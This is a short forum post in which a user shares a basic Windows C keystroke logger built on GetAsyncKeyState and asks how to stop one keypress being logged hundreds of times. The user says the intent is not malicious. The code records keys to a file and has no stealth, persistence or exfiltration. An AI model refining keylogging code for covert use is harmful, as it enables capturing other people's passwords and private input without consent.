keylogging

[spoon_]

yep, i'm trying to create a simple keystroke logger. my intent is not malicious.

theres only one problem, if i run this program and give A a quick tap on the keyboard, it writes it in the file hundreds of times. how do i create a pause of some sort that will not interfere with the next key pressed?

#include<stdio.h>
#include<windows.h>

int main(int argc, char *argv[])
{
	FILE *out_File = NULL;

	bool r = false;
	
	if((out_File = fopen("c:\\rec.txt", "w")) != NULL)
	{
		while(r == false)
		{
			for(int i = 0; i <= 256; i++)
			{
				if(GetAsyncKeyState(i) == -32768)
				{
					if(i == 'Q')
					{
						r = true;
					}
					else
					{
						fputc(i, out_File);
					}
				}
			}
		}
	}

	fclose(out_File);
		
	return 0;
}

edit: there, i changed it a little bit... some stuff in there didn't make sense when i typed it on the board the first time.

thanks in advance
